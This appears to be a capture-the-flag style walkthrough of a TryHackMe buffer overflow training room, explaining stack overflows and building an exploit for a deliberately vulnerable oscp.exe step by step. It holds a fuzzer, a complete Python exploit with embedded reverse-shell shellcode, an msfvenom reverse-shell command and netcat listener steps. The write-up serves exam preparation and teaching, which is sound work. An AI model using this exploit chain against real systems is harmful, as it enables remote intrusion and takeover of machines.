What is Buffer Overflow? - TryHackMe: Buffer Overflow Prep Walkthrough

What is Buffer Overflow? - TryHackMe: Buffer Overflow Prep Walkthrough

Introduction

This article aims to explain Buffer Overflow in simple terms and walk you through a box produced by?Tib3rius ?and hosted on?TryHackMe . Anyone who is in the process of preparation of OSCP can try to practice this box as it is a very well designed box and helpful in basic exploit development. The box is highly recommended for?PEN-200 (OSCP) ?Students. Hope you enjoy reading the walkthrough!

Buffer Overflow Definition

When a buffer is loaded with more data than it is able to hold, buffer overrun takes place. Lack of appropriate verification results in a critical vulnerability or bug that lets data be written over the limits. Therefore, this causes overrun or data loss, and overwrites the memory.

A buffer overflow makes a system vulnerable to attackers who are able to exploit this vulnerability through injecting specifically crafted code. The malicious code leaves network insecure. Thus, the code lets the attacker have a shell on the system or get administrator access in network.

What is Buffer Overflow?

A buffer is an allocated sequential memory that holds anything from integer arrays to character strings. The purpose of the buffer is to hold program or application data while it is moved from one program to another.

A buffer overflow takes place when a program tries to place data in memory overrunning the buffer or to load more data in buffer than it is able to hold. Writing data over a memory allocation block’s bounds is able to crash the program, corrupt data, or let an attacker execute malicious code on the system.

Crafted input data trigger overflows, which is probable since designers suppose all inputs will be smaller than allocated threshold size and design the buffer to fit the size. In these cases, some anomalous transactions are able to overwrite the edge of the buffer by implementing more data into the buffer.

Buffer overflow is one of the most critical software weaknesses. Since the process of finding and fixing buffer overflows is sometimes daunting, when the software is very complicated in particular.

A simple diagram showing how buffer overflow works is added below:

https://www.securitysift.com/wp-content/uploads/2013/12/strcpy_bof_diagram.png

What is a Buffer Overflow Attack?

Now we will perform a stack based buffer overflow on a 32-bit Windows 7 VM with Immunity Debugger and Putty preinstalled. In this attempt, both Windows Firewall and Defender on the VM have been disabled in order to make exploit writing easier.

We log onto the machine using xfreerdp with the following given credentials:?admin/password

xfreerdp /u:admin /p:password /cert:ignore /v:10.x.x.x /smart-sizing        
No alt text provided for this image

If Windows prompts us to choose a framework for network, we choose the Home option.

Then, we right-click the Immunity Debugger icon on the Desktop and run it as administrator.

No alt text provided for this image

When Immunity opens, we click open file icon, or we can choose File then Open the oscp file created for buffer overflow exploitation. Then we navigate to vulnerable-apps folder on the admin user's desktop.

No alt text provided for this image

Then we open oscp folder and select the oscp (oscp.exe) binary, and click open.

No alt text provided for this image

After opening oscp.exe, the binary will open in a paused state.

No alt text provided for this image

Thus, we click the red play icon or choose debug, then run the program. In a terminal window, the oscp.exe binary will be running, and telling us that it is listening on port 1337, or we can scan the IP of the box twice prior to running oscp.exe and after running it to see on which port it is working.

No alt text provided for this image

On our attacking box, we connect to port 1337 on 10.x.x.x (the IP of the box) using netcat :

nc 10.x.x.x 1337        

Then we type HELP and press enter. We should note that there are 10 different OVERFLOW commands numbered 1 - 10. So we will type OVERFLOW1 and press enter. The response will be OVERFLOW1 COMPLETE. Then we can terminate the connection.

No alt text provided for this image

Mona Configuration

The mona script has been preinstalled on the provided box, but in order to work with it easier, we will configure a folder using the following command, which we are able to run in the command input box at the bottom of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p        
No alt text provided for this image

Fuzzing

We will create a file on our attacking box naming it fuzzer.py with the following script:

#!/usr/bin/env python3

import socket, time, sys

ip = "10.x.x.x"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)        

Crash Replication & Controlling EIP

Now we will create another file on our attacking box naming it exploit.py with the following script:

#!/usr/bin/env python3


import socket


ip = "10.10.2.120"
port = 1337


prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
? s.connect((ip, port))
? print("Sending evil buffer...")
? s.send(bytes(buffer + "\r\n", "latin-1"))
? print("Done!")

except:

? print("Could not connect.")        
No alt text provided for this image

The fuzzer will send increasingly long strings consisting of a number of "A"s. If the fuzzer can crash the server with one of the strings that continuously being sent, then the fuzzer will exit with an error message. Then, we will make a note of the largest number of bytes that were sent to the server.

No alt text provided for this image

We managed to crash the server at 2000 bytes. Now, we will run the following command to generate a cyclic pattern of a length 400 bytes longer that our string that crashed the server (change the -l value to 2400):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400        
No alt text provided for this image

Afterwards, we copy the output pattern and place it into the payload variable of our exploit.py script.

No alt text provided for this image

On the Windows box, we will open the oscp.exe again using the same method as before, and we will click the red play icon to get it running. We have to do this before each time we run the exploit.py (which we will run multiple times with incremental modifications).

On attacking box, we will run the modified exploit.py script again:

python3 exploit.py        
No alt text provided for this image

The script crashes the oscp.exe server again and we see that it throws out an error implying "Access violation".

No alt text provided for this image

Now, in the command input box of Immunity Debugger at the bottom of the screen, we will run the following mona command, we will change the distance to the same length as the pattern we created before:

!mona findmsp -distance 2400        
No alt text provided for this image

After changing the distance, Mona will display a log window with the output of the command.

In this output we will see a line which states:

EIP contains normal pattern : ... (offset 1978)        
No alt text provided for this image

Again we update our exploit.py script and set the offset variable to the value of EIP pattern (was previously set to 0). Then we will reset the payload variable to an empty string, and we will set the retn variable to four "B"s.

No alt text provided for this image

We will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script. We should see that the EIP register is now overwritten with 4 B's (42424242).

No alt text provided for this image

Finding Bad Characters

We will generate a byte-array using mona, and we will exclude the null byte (\x00) by default.

!mona bytearray -b "\x00"        
No alt text provided for this image

We should note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this walkthrough, then the location will be C:\mona\oscp\bytearray.bin).

No alt text provided for this image

Now we will generate a string of bad characters that is same as the byte-array. We will use the following python script in order to generate a string of bad chars from \x01 to \xff:

#!/usr/bin/env python3

for x in range(1, 256):
   print("\\x" + "{:02x}".format(x), end='')    
       
print()        
No alt text provided for this image

We run the script and get bad characters pattern.

No alt text provided for this image

We will update our exploit.py script again and set the payload variable to the string of bad characters the script generated.

No alt text provided for this image

Now, we will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script.

No alt text provided for this image

After crashing the server again, we will make a note of the address to which the ESP register points, and then we will use it in the following mona command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 0188FA30        
No alt text provided for this image

A popup window will appear named mona Memory comparison results as shown below. This window shows the results of the comparison, and it indicates any characters that are different in memory they are in the generated bytearray.bin file.

No alt text provided for this image

Be aware that not all of these characters might be bad characters! Sometimes these bad characters result in the next byte to get corrupted as well, or even effect the rest of the string. However, to be sure that we eliminated all bad characters, we will remove all of them from our bad characters pattern.

No alt text provided for this image

The first bad character in the list is the null byte (\x00), and as we have removed it from the file, it will not be shown in our payload variable. We had better take a note of any others. Then, we will generate a new byte-array in mona, but this time we will specify these new bad characters besides \x00. Then we will update the payload variable in our exploit.py script, and we will remove the new bad characters as well.

No alt text provided for this image

After cleaning bad characters from our exploit.py script, we will restart oscp.exe in Immunity Debugger and re-run the modified exploit.py script. We should repeat this bad characters comparison process till the result status becomes unmodified, which shows that no more bad characters exist.

No alt text provided for this image

We compare them again.

No alt text provided for this image

And get a clean bad characters pattern since it is unmodified now.

No alt text provided for this image

Finding a Jump Point

Regardless of the oscp.exe in Immunity Debugger running or in a crashed state, we will run the following mona command in order to make sure to update the -cpb option with all the bad characters we identified including null-byte:

!mona jmp -r esp -cpb "\x00"        
No alt text provided for this image

This command will find all jmp esp (or equivalent) instructions with addresses that do not include any of specified bad characters.

No alt text provided for this image

We will choose an address and update our exploit.py script, and we will set the retn variable to the address backwards as the system is little endian . For example, if the address is \x0a\x0b\x0c\x0d in Immunity Debugger, we will write it as \x0d\x0c\x0b\x0a in our exploit.

No alt text provided for this image

Generating Payload

We will run the following msfvenom command on our attacking box, using our IP as the LHOST and updating the -b option with all the bad characters we identified before including the null-byte:

msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=443 EXITFUNC=thread -b "\x00\x07\x08\x2e\x2f\xa0\xa1" -f c        
No alt text provided for this image

Now, we will copy the generated C code string, and integrate it into our exploit.py script in payload variable between parentheses.

Prepending NOPs

As an encoder is likely used to generate the payload, we will need some space in memory for the payload to unpack itself. We will do it through specifying the padding variable to a string of 16 or more to No Operation (\x90) bytes:

No alt text provided for this image

After getting done with all the process, our final exploit should look like this:

#!/usr/bin/env python3


import socket


ip = "10.x.x.x"
port = 1337


prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xac\x9e\x69\x95\x83\xee\xfc\xe2\xf4\x50\x76\xeb\x95\xac\x9e"
"\x09\x1c\x49\xaf\xa9\xf1\x27\xce\x59\x1e\xfe\x92\xe2\xc7\xb8"
"\x15\x1b\xbd\xa3\x29\x23\xb3\x9d\x61\xc5\xa9\xcd\xe2\x6b\xb9"
"\x8c\x5f\xa6\x98\xad\x59\x8b\x67\xfe\xc9\xe2\xc7\xbc\x15\x23"
"\xa9\x27\xd2\x78\xed\x4f\xd6\x68\x44\xfd\x15\x30\xb5\xad\x4d"
"\xe2\xdc\xb4\x7d\x53\xdc\x27\xaa\xe2\x94\x7a\xaf\x96\x39\x6d"
"\x51\x64\x94\x6b\xa6\x89\xe0\x5a\x9d\x14\x6d\x97\xe3\x4d\xe0"
"\x48\xc6\xe2\xcd\x88\x9f\xba\xf3\x27\x92\x22\x1e\xf4\x82\x68"
"\x46\x27\x9a\xe2\x94\x7c\x17\x2d\xb1\x88\xc5\x32\xf4\xf5\xc4"
"\x38\x6a\x4c\xc1\x36\xcf\x27\x8c\x82\x18\xf1\xf6\x5a\xa7\xac"
"\x9e\x01\xe2\xdf\xac\x36\xc1\xc4\xd2\x1e\xb3\xab\x61\xbc\x2d"
"\x3c\x9f\x69\x95\x85\x5a\x3d\xc5\xc4\xb7\xe9\xfe\xac\x61\xbc"
"\xc5\xfc\xce\x39\xd5\xfc\xde\x39\xfd\x46\x91\xb6\x75\x53\x4b"
"\xfe\xff\xa9\xf6\x63\x91\xbf\xa8\x01\x97\xac\x9f\xd2\x1c\x4a"
"\xf4\x79\xc3\xfb\xf6\xf0\x30\xd8\xff\x96\x40\x29\x5e\x1d\x99"
"\x53\xd0\x61\xe0\x40\xf6\x99\x20\x0e\xc8\x96\x40\xc4\xfd\x04"
"\xf1\xac\x17\x8a\xc2\xfb\xc9\x58\x63\xc6\x8c\x30\xc3\x4e\x63"
"\x0f\x52\xe8\xba\x55\x94\xad\x13\x2d\xb1\xbc\x58\x69\xd1\xf8"
"\xce\x3f\xc3\xfa\xd8\x3f\xdb\xfa\xc8\x3a\xc3\xc4\xe7\xa5\xaa"
"\x2a\x61\xbc\x1c\x4c\xd0\x3f\xd3\x53\xae\x01\x9d\x2b\x83\x09"
"\x6a\x79\x25\x89\x88\x86\x94\x01\x33\x39\x23\xf4\x6a\x79\xa2"
"\x6f\xe9\xa6\x1e\x92\x75\xd9\x9b\xd2\xd2\xbf\xec\x06\xff\xac"
"\xcd\x96\x40")
postfix = ""


buffer = prefix + overflow + retn + padding + payload + postfix


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
? s.connect((ip, port))
? print("Sending evil buffer...")
? s.send(bytes(buffer + "\r\n", "latin-1"))
? print("Done!")
except:
? print("Could not connect.")        
No alt text provided for this image

Exploiting

With the correct adjustments to prefix, offset, return address, padding, and payload set, we are now able to exploit the buffer overflow to get a reverse shell on the box.

We will restart oscp.exe in Immunity Debugger.

No alt text provided for this image

We will set up a netcat listener on our attacking box using the LPORT we specified in the msfvenom command (443 if you did not change it).

No alt text provided for this image

And we will run the modified exploit.py script again.

No alt text provided for this image

Our netcat listener should catch a reverse shell!

No alt text provided for this image

Now we have full authority on the target box.

All the other Buffer Overflow exploit practices listed on this TryHackMe room can be exploited the same way as exploited above. Enjoy!

References


Abby Z.

Cybersecurity Researcher ???? & Runner ??♀? | Aspiring on BQ ??♀? and OSCP | VP @ISACA Auckland | NZNWS Ambassador | Hackthebox NZ Auckland Team Member

2 年

Thanks for your writeup bro

要查看或添加评论,请登录

社区洞察

其他会员也浏览了